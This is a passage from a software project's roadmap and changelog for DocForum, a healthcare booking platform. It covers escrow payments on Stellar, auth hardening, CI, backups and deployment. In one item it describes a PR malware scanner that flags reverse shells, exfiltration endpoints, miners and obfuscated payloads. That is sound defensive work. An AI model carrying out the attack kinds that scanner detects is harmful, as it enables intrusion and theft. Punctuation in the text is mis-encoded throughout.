5.5 β€” Payments (consumer side) +**Status: Payment order linkage, automatic intent issuance, configuration hardening, and platform signer abstraction are implemented; fulfillment-triggered release remains pending.** See docs/adr/0004-custodial-payments-v1.md. Verified against **live testnet**, not mocked β€” `npm run test:integration:payments-testnet` (3/3 passing): fundβ†’release, fundβ†’refund, and reject-when-no-wallet-linked. +- [x] `PaymentIntent` + `WalletLink` models finalized (relational metadata only β€” no PHI). `WalletLink` scoped to the **facility** (payee), not the patient β€” see ADR 0004. Amount is the asset's smallest unit (`BigInt`), with `assetCode` + `tokenContractId` per intent after #79 (native XLM plus an allowlisted USDC), not the originally-scaffolded `Decimal`+implicit `"USDC"`. +- [x] Added `@docforum/escrow-sdk` as a real dependency (via the GitHub Release tarball URL β€” see `docforum-escrow`'s ADR 0003); wired `payments/services` to call it through a dynamic `import()` (`escrow-sdk-loader.ts` β€” the SDK is ESM-only, this backend is CommonJS). +- [x] On order issuance, create a `PaymentIntent` (`created` status) automatically with a typed order FK. Manual intent creation was removed. Corrections move created intents; funded intents remain attached to the immutable original. +- [x] [Issue #88] Harden payments configuration: typed network/RPC/contract/asset settings, mainnet opt-in guard, startup reachability check, and intent-recorded contract ids for release/refund. +- [x] Soroban contract-event poller, per-deployment persisted cursors, unmatched release/refund alerts, and admin event view (issue #86). Contract deployments must include their deployment ledger; RPC retention gaps are surfaced for operator reconciliation. +- [x] On patient funding action, call SDK to move funds into escrow (`escrowed` status), store `stellarTxHash` β€” except it's not a *patient* action in this design (custodial v1, ADR 0004): `POST /payments/intents/:id/fund`, admin-triggered, funds from `docforum-core`'s own platform payer identity. +- [x] On `FulfillmentRecord` reaching `fulfilled`, trigger SDK release call (`released` status) β€” except there's no `FulfillmentRecord` yet (Phase 5), so v1 exposes `POST /payments/intents/:id/release` as an admin-triggered action instead. ADR 0002's "don't let it drift into a manual/admin-triggered release" goal is **not yet met** β€” this is the honest interim, not the destination; revisit once Phase 5 exists. +- [x] Refund path for rejected/expired orders β€” `POST /payments/intents/:id/refund`, same admin-triggered caveat as release. +- [ ] Idempotent escrow funding + on-chain reconcile job (`fundPaymentIntent` is check-then-act β€” docforum-escrow threat model Β§5). Tracked as [issue #24](https://github.com/DocForum/docforum-core/issues/24) (High, 200 pts). +- [ ] ADR: releaser key custody β€” multisig, KMS, or per-period rotation (threat model T1/T2). Tracked as [issue #25](https://github.com/DocForum/docforum-core/issues/25) (Medium, 150 pts). +- [ ] Checksum-validate facility wallet keys, not just regex. Tracked as [issue #26](https://github.com/DocForum/docforum-core/issues/26) (Trivial, 100 pts). +- [x] Patient payment history and facility payout ledger APIs, with ownership-scoped pagination, on-chain references, and BigInt-safe SQL totals. Tracked as [issue #90](https://github.com/DocForum/docforum-core/issues/90) β€” **implemented; `refundAfter` remains null until a payment model/contract version supports deadlines**. +- [x] Nightly/manual testnet payment verification with fresh Friendbot-funded identities and deduplicated failure tracking. Tracked as [issue #91](https://github.com/DocForum/docforum-core/issues/91). +- [x] Payout privacy prototype: testnet-only pooled payout support in the escrow funding path, with direct facility payouts as the default in production/local environments. Tracked as [issue #92](https://github.com/DocForum/docforum-core/issues/92). +- [ ] Non-custodial patient payments (v2): patients fund escrows from their own Stellar wallet, custodial kept as fallback. **Proposed** in `docs/adr/0005-non-custodial-patient-payments.md`; implementation issues to be opened once it's Accepted. +- [x] Multi-asset intents (USDC + native XLM per-environment allowlist, payee trustline checks) and the patient-signed prepare half of ADR 0005. Tracked as [issue #79](https://github.com/DocForum/docforum-core/issues/79) and [issue #80](https://github.com/DocForum/docforum-core/issues/80). Prepare returns `503 ESCROW_SDK_PREPARE_UNSUPPORTED` against SDK 0.2.0 until #32 lands; submit/fee-bump is out of scope for #80. +- [ ] Upgrade to `@docforum/escrow-sdk` 0.3.0 and the current testnet contract (`refund_after`, balance-delta check, `getEscrow`) β€” step 1 of ADR 0005's plan, but worth doing regardless. Tracked as [issue #32](https://github.com/DocForum/docforum-core/issues/32) (Medium, 150 pts); depends on `docforum-escrow` publishing `sdk-v0.3.0`. +- [ ] Doc reconciliation: PRD Β§8.1.6 (facility fulfillment integrity) β€” not marked resolved; this phase proves the payment *mechanism* works, not the fulfillment-integrity question, which still needs real `FulfillmentRecord`/facility-matching (Phase 5) to actually address. + +## Phase 6 β€” Notifications +**Status: In progress β€” provider decision made (see `docs/adr/0013-notification-provider.md`, issue #17). Trigger-point build-out still blocked by Phases 3 & 4 and deliberately left unscoped until those land.** +- [ ] `Notification` model + dispatch interface (provider-agnostic, per ARCHITECTURE.md Β§2) β€” part of the trigger-point work, still blocked. +- [ ] Trigger points per PRD FR-15/FR-16 (booking confirmed, referral created/accepted/declined, order ready, results available, new booking, lab results returned) β€” still blocked by Phases 3/4. +- [x] Pick and integrate a real provider (email/SMS) behind the interface β€” **decided:** email via Postmark (SMS deferred, no provider chosen); the adapter stays behind the provider-agnostic dispatch interface and no provider calls live in business logic. Tracked as [issue #17](https://github.com/DocForum/docforum-core/issues/17) (Trivial, 100 pts) β€” decision recorded in `docs/adr/0013-notification-provider.md`; integration itself is still to be built. + +## Phase 7 β€” Frontend: core flows end-to-end +**Status: Superseded.** This phase predates the 3-repo org split (see the org note at the top of this file) β€” all frontend work described below is actually tracked in `docforum-web`'s own `ROADMAP.md` (Phases W2–W5, issues opened there). Left in place as a historical record rather than deleted, but no issues are or will be opened against it here. +- [ ] ~~Patient: search doctors by specialty/availability, book, submit intake.~~ β†’ `docforum-web` Phase W2. +- [ ] ~~Patient: view referral status, accept/decline.~~ β†’ `docforum-web` Phase W2. +- [ ] ~~Patient: view orders, select fulfilling facility.~~ β†’ `docforum-web` Phase W2. +- [ ] ~~Doctor: manage availability, view bookings, run consultation, issue referral/orders.~~ β†’ `docforum-web` Phase W3. +- [ ] ~~Facility: view assigned fulfillment queue, update status, attach results.~~ β†’ `docforum-web` Phase W4. +- [ ] ~~Shared: auth screens (signup/login per role).~~ β†’ already built, `docforum-web` Phase W1. + +## Phase 8 β€” Hardening (safety, audit, security) +**Status: In progress. In addition to the original five items (#18–#20 scoped, two still blocked), four auth-hardening items are scoped as #34, #35, #37 and #39 β€” #34 and #35 are merged; #37 and #39 are open PRs. An access-control test suite (#44) is built and tested. Each is independent of the others and of Phases 3–7, and each carries its own schema/doc updates.** + +- [x] Email verification on signup, with restricted access for unverified accounts. `User.emailVerifiedAt` + `EmailVerificationToken` (hashed, expiring, single-use), `POST /auth/verify-email`, `POST /auth/verify-email/resend`, and a `requireVerifiedEmail` guard on booking + payment mutations (never on login/browsing). Migration backfills existing rows as verified. Tracked as [issue #34](https://github.com/DocForum/docforum-core/issues/34) (High, 200 pts) β€” **Done**, merged as PR #137. Found a real dependency while building it: the email *provider* is still an open decision (Phase 6, issue #17), so links can't be delivered on a hosted deployment yet β€” see `backend/src/modules/auth/services/email-dispatcher.ts` and ARCHITECTURE.md Β§6.1.5. +- [x] Login brute-force protection: per-account and per-IP throttling with backoff. Postgres-backed buckets (`LoginAttempt`), a single conditional upsert so concurrent failures are counted atomically, exponential backoff with `Retry-After`, a bounded temporary lock, an admin clear endpoint, a prune interval in `src/server.ts`, and a `TRUST_PROXY` setting so the IP isn't Render's proxy address. Tracked as [issue #35](https://github.com/DocForum/docforum-core/issues/35) (High, 200 pts) β€” **Done**, merged as PR #138. +- [ ] CSRF protection for the cookie-authenticated refresh/logout endpoints, plus an explicit per-environment CORS allowlist. A per-session CSRF token bound into the refresh token (not a double-submit cookie β€” a cookie set by this API is third-party to `docforum.github.io`, so the web client can't read it), a required `X-CSRF-Token` header on `/auth/refresh` + `/auth/logout`, an `Origin` allowlist check, and `CORS_ORIGINS` replacing the single configured origin. Tracked as [issue #37](https://github.com/DocForum/docforum-core/issues/37) (High, 200 pts) β€” **in progress**, branch `feat/csrf-protection-for-cookie-authenticated-refresh`. +- [ ] Admin account lifecycle: secure bootstrap CLI, admin invites, and account deactivation. Tracked as [issue #39](https://github.com/DocForum/docforum-core/issues/39) (High, 200 pts) β€” **in progress**. +- [ ] Patient data export (right of access) as a complete, machine-readable bundle. `POST /patients/me/export` + `GET /patients/me/export/:id` (+ `/download`), owner-only; an exporter registry where each module contributes its own section through its service (ARCHITECTURE.md Β§3.1 β€” `account`, `profile`, `appointments`, `payments` today); versioned JSON with `generatedAt`; generated by an interval worker in `src/jobs/patient-exports.ts` and stored as bounded chunks in Postgres (`PatientExport`/`PatientExportChunk`, Β§4.11 β€” no object-storage provider exists yet, see Β§6.3.4); expiry + cleanup after `PATIENT_EXPORT_TTL_HOURS`. Tracked as [issue #40](https://github.com/DocForum/docforum-core/issues/40) (High, 200 pts) β€” **in review**, branch `feat/40-patient-data-export`. Later modules (referrals, prescriptions, lab orders) must register their own section when they land; a verified guardian exporting a dependent's data is left to issue #42's model. +- [ ] `AuditEvent` table and write path β€” **foundation done, Phase 3/4 wiring pending.** Append-only `AuditEvent` (DB triggers reject UPDATE/DELETE/TRUNCATE), `auditService.record()` that must run inside the state change's own transaction, request ids on every response, and `GET /admin/audit-events` (entity/actor/date filters, keyset cursor). Wired into appointment booking (both the direct and the referral-origin path), doctor verification, payment fund/release/refund, the patient's referral accept/decline and the referral admin actions (`referral.reassign` / `referral.cancel`, Phase 3 issue #68 β€” recorded as `entityType: 'Referral'` rows in this one table, not a second referral-specific table). Still unaudited: the referral's *creation* and the cascade-driven `completed`/`expired` transitions (no actor to attribute them to), the remaining Phase 4 order transitions, and the login-throttle admin clear (console-only). Tracked as [issue #43](https://github.com/DocForum/docforum-core/issues/43) (High, 200 pts) β€” **in review**, branch `feat/43-auditevent-foundation`. +- [ ] Account deletion with clinical-record retention: `DELETE /patients/me` (password re-confirmation, throttled) anonymises the identity in place and keeps appointments + payment intents intact; `PatientProfile.userId` FK CASCADE β†’ RESTRICT (migration); interval purge of record-free tombstones (`src/jobs/account-purge.ts`, holds in `src/retention-holds.ts`). Decisions in `docs/adr/0010` β€” the **legal retention period for clinical/order/payment records stays an open decision** (kept indefinitely until set). Tracked as [issue #41](https://github.com/DocForum/docforum-core/issues/41) (High, 200 pts) β€” **in review**, branch `feat/41-account-deletion-retention`. Follow-up when #40 also merges: delete a deleted patient's `PatientExport` rows inside the anonymisation transaction (ADR 0010 table). +- [ ] Guardian and dependent accounts: booking on behalf of a minor. Dependents are guardian-owned `PatientProfile`s with no login, linked through a real `Guardianship` relation that replaces the unenforced `guardianUserId` string (migration refuses to run over legacy values); `POST`/`GET /patients/me/dependents` (create-only β€” no linking of existing profiles); `patientProfileId` on `POST /appointments` (and `GET /appointments/mine`) authorised in the service layer before the unchanged booking transaction; access ends automatically at `AGE_OF_MAJORITY_YEARS` (default 18). Decisions in `docs/adr/0011`; PRD Β§8.2.5 marked resolved/re-scoped. Tracked as [issue #42](https://github.com/DocForum/docforum-core/issues/42) (High, 200 pts) β€” **in review**, branch `feat/42-guardian-dependent-accounts`. Follow-ups: majority account-claim flow, guardian/admin revoke endpoints, guardianship verification beyond self-assertion. +- [ ] JWT refresh revocation list (ARCHITECTURE.md Β§6.1.4). Tracked as [issue #18](https://github.com/DocForum/docforum-core/issues/18) (Medium, 150 pts) β€” unblocked now, operates on Phase 1's auth module. +- [ ] Held-slot TTL/release job (ARCHITECTURE.md Β§6.2.1). Tracked as [issue #19](https://github.com/DocForum/docforum-core/issues/19) (Medium, 150 pts) β€” unblocked now, operates on Phase 1's `AvailabilitySlot`. +- [x] Access-control test suite: who may read intake, consultation and payment data. Integration tests (`tests/integration/access-control.test.mts`) establishing the test harness and access-control patterns for the three PHI data categories; intake/consultation test cases are scaffolded as placeholders until Phase 2/3 routes exist, payment-intent access cases exercise the live admin-gated routes. Tracked as [issue #44](https://github.com/DocForum/docforum-core/issues/44) β€” **Done**. +- [ ] Privacy access-control audit: confirm intake/consultation notes are visible only per PRD Β§7 (patient, treating doctor(s) in-thread, fulfilling facility for that specific order only) β€” write tests, not just code review. Still blocked β€” meaningfully auditable only once Phase 3/4/5 access paths exist. **One Phase 3 access path is now worth auditing (`GET /consultations/:id` β€” treating doctor + that appointment's patient only, and referral snapshot exposure on `GET /referrals/mine` / `/created`), but intake and orders remain unbuilt, so the audit as scoped stays blocked.** Not yet scoped into an issue. +- [ ] Decide and document what's explicitly out of scope for v1 launch vs. genuinely blocking (e.g., drug-interaction checking, PRD Β§8.2.8 β€” needs an explicit go/no-go, not silence). Tracked as [issue #20](https://github.com/DocForum/docforum-core/issues/20) (Trivial, 100 pts) β€” a decision task, unblocked now. + +## Phase 9 β€” Deploy & CI +**Status: In progress. Structured JSON logging (request IDs + PHI redaction) landed; load tests (k6) for search, slot listing and booking contention added; automated Postgres backups with a tested restore drill are now implemented (issue #107). A Render free-tier preview exists β€” see note. Production deploy still Not started. Remaining items scoped into issues #21–#22.** +- [x] Localization foundation ([issue #133](https://github.com/DocForum/docforum-core/issues/133)): persist a supported locale from `Accept-Language` at signup, format coded errors and password-reset notifications with ICU catalogs (English source + French stub), and enforce catalog key parity in CI. Other server messages remain English until their owning flows adopt the catalog. +- [x] **PR malware scan** β€” `.github/workflows/pr-malware-scan.yml` + `.github/scripts/pr-malware-scan.cjs`, on every PR push. Flags editor/devcontainer autorun tasks, npm install hooks, typosquatted packages and Actions, non-registry dependency sources, payloads disguised as fonts/images, base64/whitespace obfuscation, exfiltration endpoints, reverse shells and miners. HIGH findings fail the `Malware scan` check, label the PR `security-review` and @mention the author; one comment per PR, updated in place. Reads the PR as data only (never checks out or runs it). Added 2026-10-20 after a VS Code autorun payload (escrow #163) and a typosquatted action (escrow #176). Manual backfill (Actions β†’ PR malware scan β†’ Run workflow, `prs: all`) scans PRs opened before the scanner and records a `Malware scan` commit status, which satisfies the required check. +- [ ] End-to-end care-thread integration test: book β†’ consult β†’ refer β†’ accept β†’ order β†’ fulfil β†’ release. A single self-contained test (`backend/tests/integration/care-thread.test.mts`) driving the full thread through HTTP only, against embedded Postgres with the escrow SDK mocked; asserts the key invariants at each step (snapshot equality, append-only orders, facility-only fulfillment, payment status) rather than just status codes. Steps are phase-gated β€” each phase's steps are skipped with a reason until that phase lands, so the scaffold and already-built steps (booking, consult, refer, accept) run now and the rest enable as Phases 4/5 land. Runs as part of `test:integration` in CI, runtime kept under a minute. Tracked as [issue #69](https://github.com/DocForum/docforum-core/issues/69) (High, 200 pts) β€” **in progress**, branch `feat/end-to-end-care-thread-integration-test-book`. +- [ ] Choose deployment target (ARCHITECTURE.md Β§8 open decision) β€” record as an ADR. **Still not resolved.** A Render free-tier web service + Postgres now runs `backend/`, so `docforum-web`'s GitHub Pages preview has a live API to call β€” see `docs/adr/0003-render-preview-deployment.md`. This is explicitly a preview, not the production decision: no secrets manager, no backups, no staging/prod split, free-tier Postgres expires 2026-11-06 (renewed 2026-10-07; 30 days, 14-day grace period) unless recreated/upgraded before then β€” renewal steps in ADR 0003's "Renewing the free database" section. Tracked as [issue #22](https://github.com/DocForum/docforum-core/issues/22) (Medium, 150 pts). +- [x] Real CI pipeline (replaced `.github/workflows/ci.yml` placeholder β€” was `pull_request`-only, `echo "TODO"`, never once run). Now runs on push to `main` and on PRs: `npm audit --omit=dev` at high severity (`audit:prod`, Phase 8 issue #47) β†’ `prisma:generate` β†’ `typecheck` β†’ unit tests β†’ **integration tests (the self-contained embedded-Postgres double-booking proof)** β†’ `build`. Verified locally end-to-end before pushing (14 unit + 1 integration test passing) and confirmed green in Actions. No lint script exists yet in `backend/package.json` β€” not added; `tsc --noEmit` is the closest static check currently available. Lint now tracked as [issue #28](https://github.com/DocForum/docforum-core/issues/28) (Trivial, 100 pts). Closes [issue #21](https://github.com/DocForum/docforum-core/issues/21) (Medium, 150 pts). +- [ ] Staging environment. Blocked on issue #22's decision landing first β€” not yet scoped into its own issue. +- [ ] Production environment + secrets management. Blocked on issue #22's decision landing first β€” not yet scoped into its own issue. +- [x] **Automated Postgres backups with a tested restore drill** β€” `scripts/backup-postgres.sh` takes an encrypted logical backup (`pg_dump --format=custom` piped through `gpg --symmetric`, so the plaintext dump never touches disk) with a retention window; `scripts/restore-drill.sh` restores the latest backup into a scratch database with explicit confirmation and name guards (the target must end in `_drill`/`_scratch` and must not be the source database), then runs integrity checks (row counts, `_prisma_migrations`, a sample booking query). `.github/workflows/backup-restore-drill.yml` runs the round-trip daily (and on demand) against a seeded throwaway Postgres service. It does not touch the Render preview database yet, because there's no production target (see the deployment decision above). Design and RPO/RTO notes are in `docs/adr/0007-postgres-backups-and-restore-drill.md` and `infra/backup/README.md`. Tracked as [issue #107](https://github.com/DocForum/docforum-core/issues/107) β€” **Done**. +- [x] Docs site deployed β€” `docs/site/` (VitePress) via `.github/workflows/deploy-docs.yml`, live at https://docforum.github.io/docforum-core/. Unrelated to the production-deploy decision above; this is a static site with no backend of its own. +- [x] **PR conflict notifier** β€” `.github/workflows/pr-conflict-notifier.yml` + `.github/scripts/pr-conflict-notifier.cjs`. On every push to `main` (and every 3h) it labels open PRs that conflict with `main` as `needs-rebase` and @mentions the author once per push with rebase steps; the label clears itself when the conflict is resolved. Runs from `main` only and never checks out PR code. +- [x] Structured JSON logging with request IDs and automatic PHI redaction. A `pino` logger (`backend/src/logger.ts`) with per-environment level (`LOG_LEVEL`, default `silent` under `NODE_ENV=test`), a request-scoped child logger carrying a request id (incoming `X-Request-Id` accepted or one generated, echoed on the response), and a redaction config covering auth headers, cookies, passwords, tokens and a list of PHI field paths. A custom `BigInt`-safe serialiser so `BigInt` values (payment amounts) log instead of crashing. The error handler routes through the request-scoped logger β€” stacks server-side, safe envelope to the client. Redaction unit tests assert each configured path is redacted. Still open (follow-up scope, not blocking): the remaining `console.*` call sites in `src/` (jobs, auth, users, audit) are not yet converted, and the `no-console` lint/grep gate described in the original plan is not implemented. Closes [issue #30](https://github.com/DocForum/docforum-core/issues/30) (High, 200 pts). +- [x] **Load tests (k6)** β€” `backend/tests/load/` (`search.js`, `slots.js`, `booking-contention.js`), `backend/scripts/seed-load-test.mjs` (thousands of doctors + slots), and `.github/workflows/load-tests.yml` (manual/nightly, never against the shared Render preview). Thresholds enforce p95 latency on read paths and zero double-bookings; the contention scenario asserts correctness from the database afterwards (exactly one booking per slot), not just response codes. First results committed in `backend/tests/load/REPORT.md`. + +- [ ] Fixed-seed property tests for slot generation and appointment/payment state machines, with an expanded nightly run. Tracked as [issue #120](https://github.com/DocForum/docforum-core/issues/120). + +## Explicitly deferred (not on this roadmap, tracked so they aren't forgotten) +- In-app video/voice consultation (PRD OQ-1 β€” v1 assumes in-person + async messaging). +- Insurance/billing. +- HL7/FHIR interoperability export. +- Native mobile apps. +- Multi-facility doctor calendars (PRD Β§8.2.6 / ARCHITECTURE Β§6.2.3). +- ML-based doctor/symptom matching. + +--- + +## Changelog (append, don't rewrite history) + +> New entries go in `changelog.d/`, one file per PR β€” see +> `changelog.d/README.md`. Maintainers fold them in here with +> `node scripts/fold-changelog.mjs`. Please don't append to this section +> directly. + +- 2026-09-09 β€” Initial roadmap created alongside Phase 0 scaffolding. +- 2026-09-14 β€” Resolved the open risk in `docs/adr/0002-stellar-escrow-for-fulfillment-payout.md`: confirmed against the real Drips Wave docs that this repo and `docforum-web` are not ecosystem-relevant to a Stellar-only Wave and will not be submitted. Only `docforum-escrow` will apply, once it has enough real GitHub activity β€” see its Phase E1–E4 work. +- 2026-09-14 β€” Phase 1 built: Express 5 API, Prisma schema for the Phase 1 + models + migration, JWT auth (signup/login/refresh/logout, role + middleware), admin-gated doctor verification, fixed-length slot + generation, and the booking-concurrency guarantee β€” implemented and + proven with a real, self-contained integration test (real Postgres, 8 + concurrent requests, exactly 1 succeeds). PRD Β§8.1.1 and ARCHITECTURE + Β§6.1.1 marked resolved. Not done: Docker Compose file exists but wasn't + exercised (no Docker in this environment) β€” see the note under Phase 1 + above and `infra/docker/README.md`. +- 2026-09-14 β€” Deployed `backend/` to Render (free tier, preview only β€” + ADR 0003) so `docforum-web`'s GitHub Pages preview has a live API. + Fixed the refresh-cookie `secure`/`sameSite` to be genuinely + environment-aware (was a documented local-dev-only placeholder) and + added `credentials: 'include'` in `docforum-web`'s api-client. Free + Postgres expires 2026-10-14 β€” needs recreating/upgrading before then. +- 2026-09-14 β€” Added `docs/site/`: a VitePress documentation site for the + whole org, deployed to GitHub Pages + (https://docforum.github.io/docforum-core/) via + `.github/workflows/deploy-docs.yml`. Content is synced at build time + (`docs/site/scripts/sync-docs.mjs`) β€” this repo's PRD/architecture/ + essentials/roadmap/ADRs/API-reference copied locally, `docforum-web`'s + and `docforum-escrow`'s README/architecture-essentials/roadmap (and + escrow's ADR 0001) fetched from their `main` branch β€” nothing is a + hand-maintained duplicate, so the site can't drift from what each repo + actually says the way a copied-and-forgotten doc would. Relative links + in the fetched READMEs are rewritten to absolute GitHub URLs (they were + written relative to their own repo root, meaningless in this site's + structure β€” `vitepress build`'s dead-link check catches this if it's + ever skipped). Same pine/brass/Fraunces identity as `docforum-web`, for + visual consistency across the org's public surfaces. **Known gap:** + only rebuilds on a push to this repo β€” a docs change landing only in + `docforum-web` or `docforum-escrow` doesn't trigger a rebuild here yet; + noted in both `deploy-docs.yml` and `docs/site/README.md`, not silently + accepted. (Now tracked as [issue #29](https://github.com/DocForum/docforum-core/issues/29).) +- 2026-09-14 β€” Removed all remaining "DripsWave" naming (the product's + original codename before the org became `DocForum`): `PRD.md`/ + `ARCHITECTURE.md`/`ROADMAP.md` titles and PRD.md's opening line, plus + ADR 0002's context paragraph. `docforum-web` and `docforum-escrow` were + already clean (checked). Also removed two stale, unreferenced, + never-committed leftovers from the top-level workspace (not this repo) + that still carried the old name: a superseded draft `ROADMAP.md` and an + early superseded ADR draft β€” moved aside rather than hard-deleted. +- 2026-09-14 β€” Added `.github/ISSUE_TEMPLATE/bug_report.md`, deployed + identically across all three repos (same convention as the existing + `good-first-issue.md`). Built from a user-supplied bug-report structure + plus drips.network's "Creating Meaningful Issues" guide (fetched + directly, not from memory) β€” complexity/points tagging, honest sizing, + and "why it matters" context apply to bug reports the same way they do + to task issues, not just repro mechanics. +- 2026-09-14 β€” Scoped Phase 2 into four real GitHub issues (#1–#4), + following the same shape already used on `docforum-escrow`'s issues: + why it matters, what to do, files likely involved, edge cases, DoD, how + it'll be reviewed. #2 explicitly depends on #1 (intake before booking + confirmation); #3 and #4 are independent of each other and of #1/#2. + Complexity: #1/#2/#3 Medium (150 pts), #4 (`Consultation` record) High + (200 pts) β€” it's the one that resolves the `resolved | referred | + follow_up_needed` outcome model that Phase 3's referral creation will + depend on. Phase 2 checklist above updated to link each item to its + issue. +- 2026-09-14 β€” Scoped the rest of the roadmap that's actually actionable + right now into 18 more real GitHub issues (#5–#22): Phase 3 Referrals + (#5–#8, including a dedicated ADR issue for the unresolved + target-doctor routing rule, ARCHITECTURE.md Β§6.1.2), Phase 4 Orders + (#9–#12), Phase 5 Facilities & fulfillment (#13–#16, led by an ADR + issue resolving the polymorphic `FulfillmentRecord` smell before the + rest of the phase builds on it), Phase 6's notification-provider + decision (#17 β€” the only part of Phase 6 not blocked by Phases 3/4), + three of Phase 8's five hardening items that don't actually depend on + unbuilt phases (#18 JWT revocation, #19 held-slot TTL, #20 v1 scope + decision doc β€” `AuditEvent` and the privacy audit stay unscoped, they + need Phase 3/4/5 models to audit), and Phase 9's CI pipeline + a + dedicated production-deployment ADR (#21–#22, distinct from ADR 0003 + which only covers the current preview). + + Deliberately **not** scoped into issues: Phase 5.5 Payments (blocked on + `docforum-escrow` publishing its SDK β€” issues #4/#5 there are still + open; opening issues here now would hand a contributor work that + can't start) and Phase 7 Frontend, which is marked **superseded** in + place β€” it predates the 3-repo split and duplicates what's actually + tracked in `docforum-web`'s own roadmap (Phases W2–W5); left as a + historical record rather than deleted, but no issues will be opened + against it here. Every dependency between these issues (e.g., #7/#8 + depend on #5; #10/#11/#12 depend on #9; #14/#15/#16 depend on #13) is + stated explicitly in each issue body, same convention as #2's + dependency on #1. +- 2026-09-14 β€” Closed issue #21 directly (a maintainer fix, not left for + a Wave contributor): replaced the placeholder `ci.yml` with a real + workflow β€” `prisma:generate` β†’ `typecheck` β†’ unit tests β†’ integration + tests β†’ `build`, on push to `main` and on PRs. Companion fix applied + identically in `docforum-web` and (separately, already done) in + `docforum-escrow` β€” all three repos now have CI that actually runs + their real test suites instead of an `echo "TODO"` stub. Done ahead of + the Drips Wave application: a prospective contributor or organizer + landing on any of these repos now sees actual passing checks, not a + placeholder. +- 2026-09-15 β€” General workspace-audit fixes, applied identically to all + three org repos: + - This file's own top status line was stale (dated 2026-09-09, said + "Phase 0 complete, Phase 1 not started" while the body below showed + Phases 1-9 built/scoped) β€” corrected. + - Added `CONTRIBUTING.md` β€” `AGENTS.md` is written for coding agents, + not a quick human onboarding path; this covers clone/install/test, + how to claim an issue, and the PR checklist. + - Branch protection enabled on `main` for all three repos: the real CI + check must pass and one approval is required before merge, force + pushes and deletion are disabled. `enforce_admins` left `false` so + the maintainer isn't blocked β€” this protects against a bad external + PR landing unreviewed/uncheck-passing, not against the maintainer's + own direct pushes. + - Added GitHub topics to `docforum-core` and `docforum-web` + (`docforum-escrow` already had them) for discoverability. +- 2026-09-15 β€” Built Phase 5.5 (Payments) for real, ahead of Phase 4/5, + via docs/adr/0004-custodial-payments-v1.md: `docforum-core` holds its + own Stellar payer + releaser identities (custodial v1) rather than + patients signing with their own wallet β€” the only design consistent + with `docforum-web`'s existing "no direct Stellar calls" hard rule. + `PaymentIntent`/`WalletLink` filled in from the Phase 0 scaffold with + real FKs to `PatientProfile`/`FacilityProfile` (both Phase 1, already + real); `orderType`/`orderId` stay opaque rather than hard FKs to + `Prescription`/`LabOrder`, which don't exist yet β€” this is what let + the phase build independently instead of waiting on Phase 4/5. + `@docforum/escrow-sdk` added as a real dependency (the GitHub Release + tarball from `docforum-escrow`'s ADR 0003), wired through a dynamic + `import()` (CJS backend, ESM-only SDK β€” same interop pattern as + `embedded-postgres`). New `POST /payments/wallet-link`, + `POST /payments/intents`, `POST /payments/intents/:id/{fund,release, + refund}` endpoints β€” the latter three admin-only in v1, since there's + no `FulfillmentRecord` yet to trigger them automatically (ADR 0004 + "Consequences" β€” explicitly not the final design). + + Verified against **live testnet**, not mocked: + `npm run test:integration:payments-testnet` β€” 3/3 passing (full fundβ†’ + release lifecycle, full fundβ†’refund lifecycle, reject-when-no-wallet). + Kept out of the default `test`/`test:integration`/CI, same reasoning + as `docforum-escrow`'s own SDK test (depends on testnet + the platform + payer's balance, not self-contained). Caught and fixed a real bug + while wiring this up: vitest's CLI path filter matches by substring, + so a `tests/integration-testnet/` directory got silently swept into + `test:integration`'s `tests/integration` filter β€” renamed to + `tests/testnet-integration/` to avoid the collision, confirmed via + actually re-running both scripts and checking which files each picked + up, not just reasoning about it. + + Real testnet identities generated for this: a platform payer + a + platform releaser, both funded via Friendbot. Generated and written + directly to `backend/.env` by `scripts/gen-platform-identities.mjs` β€” + the secrets were never printed to any visible output, only the public + keys were (this repo's sandbox correctly refused an attempt to reveal + a stored `stellar` CLI identity's secret directly; the fix was + generating fresh keys via the SDK's own `Keypair.random()` and writing + them straight to a file instead of asking to view them). + + Also: bumped `@docforum/escrow-sdk` to v0.2.0 (a small but real + addition made while building this β€” `createEscrow`/`release`/`refund` + now return the transaction hash instead of discarding it, since this + module needs to persist `stellarTxHash`). See `docforum-escrow`'s own + changelog for that side of it. +- 2026-09-15 β€” Updated the hand-authored overview pages in + `docs/site/repos/` (`core.md`, `escrow/overview.md`, `web/overview.md`) + β€” these are the one part of the docs site NOT synced automatically at + build time, and had gone stale describing Phase E1-only / + Phase-W1-only states that no longer matched reality. Added + `sync-docs.mjs` entries for the new ADRs (this repo's 0004, + `docforum-escrow`'s 0002/0003) and matching sidebar nav entries. + + Caught and fixed a real bug while verifying this, not just trusting + the workflow ran: `docforum-escrow`'s ADR 0003 contained angle-bracket + placeholder text that VitePress's Vue-based markdown compiler + misreads as an unclosed HTML tag, failing this site's build entirely. + Confirmed by actually building the site locally against the exact + content, not by inspecting text and guessing. Two rounds were needed + β€” the first fix addressed one instance, a second (different) instance + in the same file was still breaking the build; both are now fixed at + the source in `docforum-escrow`. +- 2026-09-26 β€” Refreshed this file's stale top status line (still said + Phase 5.5 was unscoped/blocked on the escrow SDK, though it shipped + 2026-09-15). Opened [issue #23](https://github.com/DocForum/docforum-core/issues/23) + (doctor discovery): a repo-wide check found no code path creating, + assigning, or reading `Specialty`/`DoctorSpecialty`, and no doctor + list endpoint, which `docforum-web` issue #1 assumes. Also noted, not + yet fixed: `npm audit --omit=dev` reports 3 high-severity findings via + `prisma` β†’ `@prisma/config` β†’ `deepmerge-ts <8`; the suggested + `npm audit fix --force` downgrades Prisma (breaking), so not applied. +- 2026-10-07 β€” Fixed Phase 2's stale status line (said "blocked by + Phase 1", though Phase 1 has been done since 2026-09-14) β€” contributors + browsing #1–#4/#23 via the docs site were told they were blocked. Added + a "Renewing the free database" runbook to ADR 0003: the Render preview + Postgres expires 2026-10-14 and the steps to recreate it lived nowhere. +- 2026-10-07 β€” Renewed the Render preview Postgres per ADR 0003's + runbook (old instance deleted, new free instance created, migrations + applied on deploy, admin account recreated). New expiry: 2026-11-06. +- 2026-10-07 β€” Opened issues #24–#29: idempotent escrow funding + + reconcile (#24) and releaser key custody ADR (#25), both from + `docforum-escrow`'s threat model Β§5/T1–T2; wallet key checksum + validation (#26); Docker Compose verification (#27); ESLint in CI + (#28); cross-repo docs-site rebuild (#29). +- 2026-10-08 β€” Proposed ADR 0005 (non-custodial patient payments v2): + `docforum-core` builds and submits transactions, the browser only asks + the patient's wallet to sign, which removes ADR 0004's objection while + keeping all Stellar network calls in this repo. Patient becomes the + escrow `payer`, with `refund_after` as their protection; SEP-10 wallet + linking for patients and facilities; USDC; platform fee-bump + sponsorship. Custodial v1 stays as a fallback. Status: 